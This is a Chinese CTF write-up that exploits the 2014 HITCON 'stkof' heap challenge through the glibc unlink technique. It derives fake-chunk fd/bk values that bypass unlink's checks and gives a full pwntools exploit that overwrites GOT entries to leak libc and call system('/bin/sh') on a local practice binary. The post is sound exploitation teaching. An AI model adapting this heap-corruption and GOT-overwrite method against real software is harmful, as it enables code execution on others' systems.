Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

roger · 发表于 2020-11-25 11:55:21

2014_hitcon_stkof步骤一：运行查看

没有菜单，还是反编译分析吧。

步骤二：查看文件类型和保护机制

64位程序
开启了Canary和NX，RELRO为Partial RELRO，关闭了PIE。

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[email protected]:2014_hitcon_stkof$ file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/23_11-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[email protected]:2014_hitcon_stkof$ checksec --file=stkof
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 3 stkof

步骤三：IDA反编译分析

main函数

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create函数：由于在把malloc返回指针放入数组前，会将index先自增1，所以，第1个chunk的index为1。

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验证第1个chunk的index为1

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fill函数

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delete函数

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show函数

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全局数组globals地址为：0x602140。

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思路：

RELRO为Partial RELRO，那么可以改写got表；
没有system等后门函数，所以得想办法先泄漏libc，然后调用libc里的system函数；
要泄漏？那么我们看看打印和输入的地方有哪些：
- 打印：show函数没有打印堆里的内容，没法leak，所以我们得想办法leak。
- 输入：有一个fill函数，可以往bss段里globals数组中那些指针所指向的地方写。
而fill函数中存在堆溢出，可以利用unlink漏洞修改globals数组！程序里有puts函数，所以我们可以把puts函数plt地址放到另一个函数的got表项里，这样，调用这个函数的时候就会去调用puts函数。至于这个函数选哪个，因为puts函数参数是char型指针，所以我们可以选取程序里有的，且参数同样为指针的free/atoi函数。但是如果用atoi函数，那么我们后面就没法用free函数了，因为输入“菜单选项”后就会调用atoi函数，没法继续下去。所以，我们选free函数。
下面两图是把[email protected]放入free函数的got表项里。那么这时候调用free(globals[2])的话，就等价于puts([email protected])，会调用puts函数把[email protected]的内容打印出来。
得到puts函数真实地址后，就可以计算libc基址及system函数地址了，最后把system地址通过fill函数写入[email protected]，把“/bin/sh”当作“菜单选项”输入，就会调用atoi函数，也就是调用system("/bin/sh")以getshell！

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通过unlink漏洞把这三个函数got表项地址写入globals数组中。

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通过fill函数，往globals[0]指向的地址里写入数据，即往[email protected]里写入[email protected]。

思路就是上面所说的。那么现在还有个问题。怎么利用unlink修改globals数组？
我们先来回顾一下unlink漏洞
- unlink: 当前释放的chunk与前一个或者后一个空闲chunk进行合并时，会先把空闲chunk从bin中移除，移除过程使用unlink宏来实现。
- unlink漏洞：若chunk a存在堆溢出漏洞（data内容可控且无输入长度限制）覆盖到chunk b，在chunk a的data处创建fake free chunk，并更改chunk b的结构中的前两个属性，prev_size和size里的P位标志。
  - P位标志置零使上一个chunk a被认为是free chunk，Free(b)时会触发向后合并。
  - prev_size被改写，向后合并时会找到fake free chunk。
  - fake free chunk中的bk和fd内容覆盖可控，触发unlink过程。
- unlink安全检查
  - 大小检查：
    - 绕过方法1：可以通过覆盖修改next chunk的prev_size域来绕过
    - 绕过方法2：或者可以在fake chunk后面紧接着再写一个值为fake chunk size的prev_size 来绕过。
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  if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
  malloc_printerr ("corrupted size vs. prev_size");
  - 双链表冲突检查：FD->bk == p && BK->fd == p，可以通过元素为malloc函数返回指针的数组来进行绕过。

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// malloc.c中unlink宏部分源码
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P);
else {
      FD->bk = BK;
      BK->fd = FD;
      ......
}

然后，本题中，我们可以malloc三个chunk，第一个chunk用于申请缓冲区（程序中没有setbuf函数），后面两个才会是连续的chunk，这个在后面调试中看看。我们溢出第2个chunk，在第2个chunk的user data中伪造free chunk，并修改第3个chunk的prev_size和size里的P位。因为要绕过双链表冲突检查，所以我们要把fake free chunk的fd和bk覆盖成存放malloc返回指针的globals数组的地址。
- 在堆溢出后，进入unlink前，三者相等：globals[index] == malloc(x) == fake chunk == p
- 根据下面的推导，fake chunk->fd = &globals[2] - 0x18，fake chunk->bk = &globals[2] - 0x10。

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根据FD->bk == p->fd->bk == p 推导公式如下：

fake chunk->fd->bk == fake chunk
=> *(fake chunk->fd + 0x18) == fake chunk
=> *(fake chunk->fd + 0x18) == globals[index]
=> (fake chunk->fd + 0x18) == &globals[index]
=> (fake chunk->fd) == &globals[index] - 0x18
=> *(fake chunk + 0x10) == &globals[index] - 0x18

同理，根据BK->fd == p->bk->fd == p ,推导公式如下：

fake chunk->bk->fd == fake chunk
=> *(fake chunk->bk + 0x10) == fake chunk
=> *(fake chunk->bk + 0x10) == globals[index]
=> fake chunk->bk +0x10 = &globals[index]
=> fake chunk->bk = &globals[index] - 0x10
=> *(fake chunk +0x10) = &globals[index] - 0x10

堆溢出后，相关内存如下图所示：

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unlink过程和结果如下如所示：

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现在思路已经清晰了，按照思路边调试边写exp就OK啦！

我做题的时候突然想到，修改程序流程的时候，我们一直都是改got表项内容，能不能直接改plt表项呢？也就是能不能直接把要跳转的地址覆盖plt表项？（还是想得少）
不能。因为plt节在内存中是属于只读代码段的，没有写权限。比如这题的free函数：

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步骤四：调试分析

a. 编写模板和选项函数

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from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
if path == '':
      libc = LibcSearcher(func, leak)
      base = leak - libc.dump(func)
      system = base + libc.dump('system')
      binsh = base + libc.dump('str_bin_sh')
else:
      libc = ELF(path)
      base = leak - libc.sym[func]
      system = base + libc.sym['system']
      binsh = base + libc.search('/bin/sh').next()

return (system, binsh)

s    = lambda data             :p.send(str(data))
sa    = lambda delim,data       :p.sendafter(delim, str(data))
sl    = lambda data             :p.sendline(str(data))
sla    = lambda delim,data       :p.sendlineafter(delim, str(data))
r    = lambda num=4096          :p.recv(num)
ru    = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64 = lambda data             :u64(data.ljust(8,'\0'))
leak = lambda name,addr       :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './stkof'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
gdb.attach(p)
# pause()

def create(size):
sl(1)
sl(size)
ru('OK\n')

def delete(index):
sl(3)
sl(index)

def fill(index, size, content):
sl(2)
sl(index)
sl(size)
s(content)
ru('OK\n')

def show(index): # useless
sl(4)
sl(index)

#start

# end
p.interactive()

a. 先malloc三个chunk看看，chunk1用于io缓冲区，chunk2和chunk3连续，准备溢出chunk2。

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# trigger to malloc buffer for io function
create(0x100)       # idx 1
create(0x30)       # idx 2
# small chunk size in order to trigger unlink
create(0x80)       # idx 3

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b. 在chunk2 中伪造free chunk，修改chunk3的prev_size和size。

我这里是把fake free chunk的大小伪造成了0x30，也就是chunk2的user data部分大小，然后再修改chunk3的prev_size为0x30来绕过unlink的第一个大小检查。
而ctfwiki中是伪造成0x20，然后紧接在后面又伪造一个只有prev_size域的chunk。

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# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0 = 0x602140
payload = p64(0)       #prev_size
payload += p64(0x30) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(global0 + 16 - 0x18)  #fd
payload += p64(global0 + 16 - 0x10)  #bk
#payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)       #0x30 is the fake chunk size
# make it believe that prev chunk is free
payload += p64(0x90)
fill(2, len(payload), payload)

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c. unlink，使得golbal[2] = &(global[2]) - 0x18，那么fill(2)就会从&(global[2]) - 0x18这个地址开始写数据，而且没有长度限制。

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# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(3)
p.recvuntil('OK\n')

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d. 将函数free、puts,atoi的got地址写入globals数组中，然后将[email protected]写入[email protected]中。

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# overwrite global[0] = [email protected], global[1][email protected], global[2][email protected]
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
fill(2, len(payload), payload)
# edit [email protected] to [email protected]
payload = p64(elf.plt['puts'])
fill(0, len(payload), payload)

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e. 泄漏puts函数真实地址，然后计算libc、system函数地址。free(global[1]) == puts([email protected])

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#free global[1] to leak puts addr
delete(1)
puts_addr = ru('\nOK\n')
puts_addr = uu64(puts_addr)
leak('puts addr: ' ,puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
leak('libc base: ' , libc_base)
leak('/bin/sh addr: ', binsh_addr)
leak('system addr: ',system_addr)
dbg()

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f. 利用fill函数修改[email protected]为system地址

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payload = p64(system_addr)
fill(2, len(payload), payload)
p.send(p64(binsh_addr))

关掉调试信息，结果如下图所示，需要从第2次输入shell命令才能正确回显结果。

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步骤五：构造Exp

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from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
if path == '':
      libc = LibcSearcher(func, leak)
      base = leak - libc.dump(func)
      system = base + libc.dump('system')
      binsh = base + libc.dump('str_bin_sh')
else:
      libc = ELF(path)
      base = leak - libc.sym[func]
      system = base + libc.sym['system']
      binsh = base + libc.search('/bin/sh').next()

return (system, binsh)

s    = lambda data             :p.send(str(data))
sa    = lambda delim,data       :p.sendafter(delim, str(data))
sl    = lambda data             :p.sendline(str(data))
sla    = lambda delim,data       :p.sendlineafter(delim, str(data))
r    = lambda num=4096          :p.recv(num)
ru    = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64 = lambda data             :u64(data.ljust(8,'\0'))
leak = lambda name,addr       :log.success('{} = {:#x}'.format(name, addr))

#context.log_level = 'DEBUG'
binary = './stkof'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
gdb.attach(p)
# pause()

def create(size):
sl(1)
sl(size)
ru('OK\n')

def delete(index):
sl(3)
sl(index)

def fill(index, size, content):
sl(2)
sl(index)
sl(size)
s(content)
ru('OK\n')

def show(index): # useless
sl(4)
sl(index)

#start

# trigger to malloc buffer for io function
create(0x100)       # idx 1
create(0x30)       # idx 2
# small chunk size in order to trigger unlink
create(0x80)       # idx 3
#dbg()

# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0 = 0x602140
payload = p64(0)       #prev_size
payload += p64(0x30) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(global0 + 16 - 0x18)  #fd
payload += p64(global0 + 16 - 0x10)  #bk
#payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')

# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)       #0x30 is the front one whole size?
# make it believe that prev chunk is free
payload += p64(0x90)
fill(2, len(payload), payload)
#dbg()
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(3)
p.recvuntil('OK\n')
#dbg()
# overwrite global[0] = [email protected], global[1][email protected], global[2][email protected]
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
fill(2, len(payload), payload)
# edit [email protected] to [email protected]
payload = p64(elf.plt['puts'])
fill(0, len(payload), payload)
#dbg()
#free global[1] to leak puts addr
delete(1)
puts_addr = ru('\nOK\n')
puts_addr = uu64(puts_addr)
leak('puts addr: ' ,puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
leak('libc base: ' , libc_base)
leak('/bin/sh addr: ', binsh_addr)
leak('system addr: ',system_addr)
#dbg()
# modify [email protected] to system addr
payload = p64(system_addr)
fill(2, len(payload), payload)
p.send(p64(binsh_addr))
# end
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参考文献

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